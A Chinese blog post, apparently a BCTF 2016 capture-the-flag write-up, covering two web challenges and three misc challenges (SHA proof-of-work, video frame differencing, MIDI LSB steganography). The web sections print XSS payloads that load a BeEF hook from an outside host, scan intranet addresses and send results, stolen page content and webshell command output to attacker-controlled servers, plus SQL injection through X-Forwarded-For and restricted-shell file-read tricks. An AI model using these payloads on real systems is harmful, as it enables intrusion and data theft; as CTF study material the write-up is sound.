前两天打了bctf2016,结果做到最后都没想明白web题目的思路,而且20多道题目,却只有2道web题Orz,真是不给web狗活路,web狗这年头要转型misc了…
web
qaq (iframe标签跨域+CORS内网)
hint1: What else can XSS do? Just steal cookies? Secret in intranet,hack harder guys!
hint2: CORS headers
现在能搜到的只有一篇从ctftime上找到的外国人的writeuphttps://github.com/raccoons-team/ctf/tree/master/2016-03-19-bctf/web-350-QAQ
打开题目首先是一个大大的留言板,那基本应该没什么别的了,先尝试bypass xss filter吧。
稍微测试了一下常见的标签都被过滤了,还剩下<iframe><link>
link标签只能用来csrf,那应该没错就是ifreame标签了。
我自己使用的是常规的调用方式
1
| <iframe src="http://youdomain/xxx.php">
|
在php文件中写入<script>
就可以执行所需要的js了。
而老外用的是iframe的onload的属性,(如果我没记错的话会被chrome filter拦截)…
1 2 3 4 5 6 7
| <iframe onload=' var sc = document.createElement("scr" + "ipt"); sc.type = "text/javascr" + "ipt"; sc.src = "http://1.2.3.4/js/hook.js"; document.body.appendChild(sc); ' />
|
通过上面的代码,成功使用domxss创造了
1
| <script type="text/javascript" src="http://1.2.3.4/js/hook.js"></script>
|
这样一来就可以执行任意的js,当我们提交后,后来管理员就会审核。
上面的老外使用的是beEF框架的hook.js来和服务器沟通,发现大概5秒左右会断开。
题目第一个提示告诉我们秘密在内网中,那么我们需要扫一下host,从beEF中,我们可以看到
1 2 3
| 127.0.0.1 localhost Linux 172.17.0.1 Linux 192.168.1.3 Linux
|
然后检查下hosts中的附近ip,这里老外是用的jquery的请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| jQuery.get( "http://192.168.1.1", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.1"} ); }); jQuery.get( "http://192.168.1.2", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.2"} ); }); jQuery.get( "http://192.168.1.3", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.3"} ); }); jQuery.get( "http://192.168.1.4", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.4"} ); }); jQuery.get( "http://192.168.1.5", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.5"} ); }); jQuery.get( "http://172.17.0.1", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.1"} ); }); jQuery.get( "http://172.17.0.2", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.2"} ); }); jQuery.get( "http://172.17.0.3", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.3"} ); }); jQuery.get( "http://172.17.0.4", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.4"} ); }); jQuery.get( "http://172.17.0.5", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.5"} ); });
|
在http://1.2.3.4/app_dev.php这样写
1 2 3 4 5
| <?php
$file = fopen("file.txt", "a"); fwrite($file, "\n\n\n". $_POST['x']); fclose($myfile);
|
测试发现172.17.0.2存在
那么先请求一下172.17.0.2试试看,发现返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <html> <body> =.= webdog webshell =.= <!-- header("Access-Control-Allow-Origin: *");
$ztz= 'system'; ob_start($ztz); echo $_GET[c]; ob_end_flush();
or
$ztz = new ReflectionFunction("system"); echo $ztz->invokeArgs(array("$_GET[c]")); --> </body> </html>
|
发现存在一个php shell通过$_GET[c];
那么ls一下发现
1 2 3
| fl4g index.php index.php
|
看到flag了,cat一下
1 2 3
| jQuery.get( "http://172.17.0.2/?c=cat fl4g", function( data ) { jQuery.post( "http://1.2.3.4/app_dev.php", { x: data} ); });
|
get!
homework
找了一段时间没有找到writeup,只找到一个朋友写的,但是是还没有getflag版,但是还是能得到很多东西。
http://www.isecer.com/ctf/bctf-2016-log-for-homework.html
1、hint1: source code can be leaked.
2、hint2: version control
3、hint3: hack the server
首先就是一个大坑,hints说有源码泄露还有版本控制,第一反应就是.git,但是并没有,后来想到以前在下老外写的githack工具的时候还看到别的几个版本的爬源码工具,打开发现真的有爬.hg的。
https://github.com/kost/dvcs-ripper
发现/index.php和/admin/read.php可能存在漏洞
index.php中有过滤函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function stripStr($str) { $str=str_ireplace("'","",$str); $str=str_ireplace('"',"",$str); $str=str_ireplace('&',"",$str); $str=str_ireplace('#',"",$str); $str=str_ireplace(';',"",$str); $str=str_ireplace(',',"",$str); $str=str_ireplace(':',"",$str); $str=str_ireplace('`',"",$str); $str=str_ireplace('(',"",$str); $str=str_ireplace(')',"",$str); $str=str_ireplace('[',"",$str); $str=str_ireplace(']',"",$str); $str=str_ireplace('\\',"",$str); $str=str_ireplace('\r',"",$str); $str=str_ireplace('\n',"",$str); $str=str_ireplace('\0',"",$str); do $str=str_ireplace("script","",$str,$count); while($count>0); do $str=str_ireplace("iframe","",$str,$count); while($count>0); do $str=str_ireplace("data","",$str,$count); while($count>0); do $str=str_ireplace("\\x","",$str,$count); while($count>0); do $str=str_ireplace("\\u","",$str,$count); while($count>0); return $str;
|
read.php中get_ip有洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $ip=get_client_ip();
function get_client_ip(){ if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")){ $ip = getenv("HTTP_CLIENT_IP"); }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")){ $ip = getenv("HTTP_X_FORWARDED_FOR"); }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")){ $ip = getenv("REMOTE_ADDR"); }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){ $ip = $_SERVER['REMOTE_ADDR']; }else{ $ip = "unknown"; } return($ip); }
$sql = "UPDATE `test`.`message` SET `is_read` = '1', `operation_log_ip` ='". $ip."', `operation_log_ua` ='".ua."' WHERE `message`.`index` = '".$_GET['index']."';"; query($sql);
|
注入后发现,并不能破解密码,那么还得xss
1
| <scrdataipt src//xxx.com/xss.js.php></scrdataipt>
|
js很随意了,可以这样写
1 2 3 4 5 6 7
| xhr=new XMLHttpRequest(); xhr.open("POST","http://104.199.137.82/admin/read.php?index=<?=$i?>",false); xhr.setRequestHeader("X-Forwarded-For","<?=$p?>"); xhr.send(); r=xhr.responseText; xhr.open("POST","http://xxx.com/get.php",true); xhr.send("v="+escape(escape(r)))
|
有个问题是如果管理员看到你了之后就会设为isread,那么就不能注入了。。那么脚本就是必要的了。
misc
hsab (sha碰撞)
题目有两个坑,首先是要碰撞出一个前20为0,和所给值相同的字符串,队友写了个脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
|
from pwn import * import hashlib import re import itertools import string
rand_string = string.ascii_letters + "0123456789" e2 = itertools.permutations(rand_string, 10)
def fuck_1(s): while True: try: e3 = e2.next() except StopIteration: exit(-1)
ns = s + "".join(e3) sha = hashlib.sha256(ns).hexdigest() sha_bin = bin(int(sha, 16))[2:] sha_bin = '0' * (256%len(sha_bin)) + sha_bin if sha_bin[:20] == "00000000000000000000": return ns
def main(): global flag
conn = remote("104.199.132.199", 2222) str1 = conn.recvuntil("zeros.") print str1 st = re.findall(r"'(.+?)'", str1)[0] pt1 = fuck_1(st) conn.send(pt1+"\n") conn.sendline("pwd") conn.interactive()
if __name__ == '__main__': main()
|
进去了后发现命令只剩下了内建命令,完全懵比,那么测试吧,先是发现echo可以列目录
这样就会列出ctf下的所有文件,然后发现了flag.ray,但是测试了很久都找不到读取这个文件的方法。
后来看了writeup发现有很多种方式读文件。
第一种好像是官方做法
1
| dlcall -n fd -r pointer open /home/ctf/flag.ray 0 && dlcall -n mapped -r pointer mmap 0 10 1 1 \$fd 0 && dlcall printf %s \$mapped
|
没有很看懂
后来发现可以用别的命令
1 2 3
| bash -v /home/ctf/flag.ray 或 history -r /home/ctf/flag.ray history
|
技不如人,甘拜下风
catvideo (ffmege filter)
题目是个比较大的video,在windows下好像是打不开的,在linux下可以看到很多很多的雪花,当时没什么想法,后来看到几篇writeup,虽然复现成功了,但是没有很弄明白是怎么回事。
http://countersite.org/articles/steganography/68-bctf-2016-stego-catvideo.html#sel=18:7,18:7
http://fadec0d3.blogspot.jp/
http://err0r-451.ru/2016-bctf-forensic-catvideo-150-pts/
虽然做出来的人解释不同,但是做法相同,都是利用ffmege把视频拆分成图片,然后异或,就能看到一些图片了。
首先是用ffmpeg把视频拆分
1
| ffmpeg.exe -i catvideo-497570b7e2811eb52dd75bac9839f19d7bca5ef4.mp4 -r 30.0 fr_%4d.bmp
|
参数比较多,有一些文档
截出了1000多图片,那写个脚本比较差异吧。
1 2 3 4 5 6 7 8
| from PIL import Image from PIL import ImageChops
import glob im0 = Image.open("fr_0001.bmp")
for frame in glob.glob("./frames/*"): ImageChops.subtrat(Image.open(frame), im0).save(frame.replace("frames", "frames_new"))
|
跑出来了很多图片,虽然不清楚,但是可以看到flag了。。。
关于python的imagechops不是很懂,只找到一部分文档
midifan(midi lsb隐写)
复现题目花了很久,网上找不到完整的writeup,只找到一个脚本,花了很久尝试复现,今天终于搞出flag了,但是对于midi格式的东西还是不熟悉。
之前做题目的时候是使用pymidi模块的,但是用了很久都搞不出flag,后来用别人的脚本跑出来之后才明白是怎么回事。
首先要处理midi格式的音乐,要首先把数据转为csv,得到完整的内容。
这里我用的是这个http://www.fourmilab.ch/webtools/midicsv/,命令行执行
1
| midicsv.exe midifan.mid xxx.csv
|
就能得到完整的csv了,然后就要写脚本了。
1 2 3 4 5 6 7 8 9 10 11 12 13
| #from scryptos import * import binascii d = open("xxx.csv").read().split("\n") bits = "" for x in d: r = x.split(", ") if len(r) > 4: if int(r[3]) == 0: if r[2] == "Note_on_c": bits += str(int(r[1]) % 2)
print binascii.unhexlify(hex(int(bits[::-1], 2))[2:-1])[::-1]
|
上面的脚本的意思是读出channel为0的频道数据,然后筛选出其中note_on_c的,根据date数据中,如果是奇数返回1,偶数返回2,然后逆序转16进制解hex再逆序就get flag了
1
| BCTF{ju6t_0ne_b1t_of_d1FF}
|